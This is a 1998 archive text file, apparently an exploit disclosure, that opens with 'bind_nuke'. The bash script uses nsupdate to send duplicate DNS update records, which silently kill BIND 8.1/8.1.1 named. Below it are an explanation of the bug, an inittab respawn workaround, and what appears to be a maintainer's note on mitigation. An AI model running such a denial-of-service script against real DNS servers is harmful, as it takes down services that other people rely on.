home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / bind_nuke.txt < prev    next >
Text File  |  1998-07-17  |  3KB  |  71 lines

  1.  
  2. -------------------------------------------------->
  3. #!/bin/bash
  4.  
  5. echo 'bind_nuke (c) Artur Skawina skawina@usa.net'
  6.  
  7. nsupdate <<END
  8. update delete x.$1 A
  9. update add x.$1 60 IN A 3.2.3.6
  10. update delete x.$1 A
  11.  
  12. END
  13. <--------------------------------------------------
  14.  
  15. when executed as "bind_nuke bogus.org" on a host, that bogus.org's
  16. primary NS is configured to accept updates from, will cause named
  17. to silently die. Nothing in the logs, nothing on the console.
  18. After a number of similar packets has been received by named any
  19. subsequent attempt to run it will only result in a Segmentation Fault.
  20. [and there's "spoofing"...]
  21.  
  22. The problem seems to be that bind can not handle updating the
  23. same RR more than once in the same DNS packet.
  24. And as it saves the update requests in the <zone>.log file
  25. and attempts to perform the updates again when restarted,
  26. the bug is triggered again...
  27.  
  28. The bug is present in both bind8.1 and bind8.1.1.
  29. With bind8.1 one such DU packet was enough to prevent named from runing,
  30. until the /var/named/pri/<zone>.log file was removed/edited.
  31. Bind 8.1.1 needs a few packets (but usually <=3) before this happens
  32. (named still dies after only one packet, but it is sometimes possible to
  33. restart it w/o any immediate errors/warnings).
  34.  
  35.  
  36. ----------------------------------------------------
  37.  
  38. (This workaround won't work for the attack listed, but it's still useful to
  39. know..)
  40.  
  41. If you're using named 8.*, it can be run out of inittab with the
  42. non-daemonising switch.
  43.  
  44. On linuxen:
  45.  
  46. /etc/inittab
  47.  
  48. bi:2345:respawn:/usr/sbin/named -f
  49.  
  50. At least this way, should it die, it'll come back within seconds.
  51.  
  52. -----------------------------------------------------
  53.  
  54.  
  55. If you don't enable updates for a zone, or you enable them only from hosts
  56. within an intelligent (source routing prohibited, source addresses checked)
  57. firewall, bind is immune to the "bind_nuke" attack published here recently.
  58.  
  59. updates aren't on by default, and according to rfc 2136 dns updates are not
  60. recommended except from "localhost" which is assumed to be secure.  (though
  61. i wish that more system vendors would disallow source-address 127.0.0.1 from
  62. coming in off the network.)  for this reason we have not published a patch
  63. to bind-8.1.1.  i expect that we will put bind-8.1.2 into beta testing in a
  64. few weeks.  (note that we still won't have support for rfc 2137 or TSIG; if
  65. any system vendors would like to fund that effort, we'd love to work on it.)
  66.  
  67. mountain.  molehill.
  68.  
  69.  
  70. ------------------------------------------------------
  71.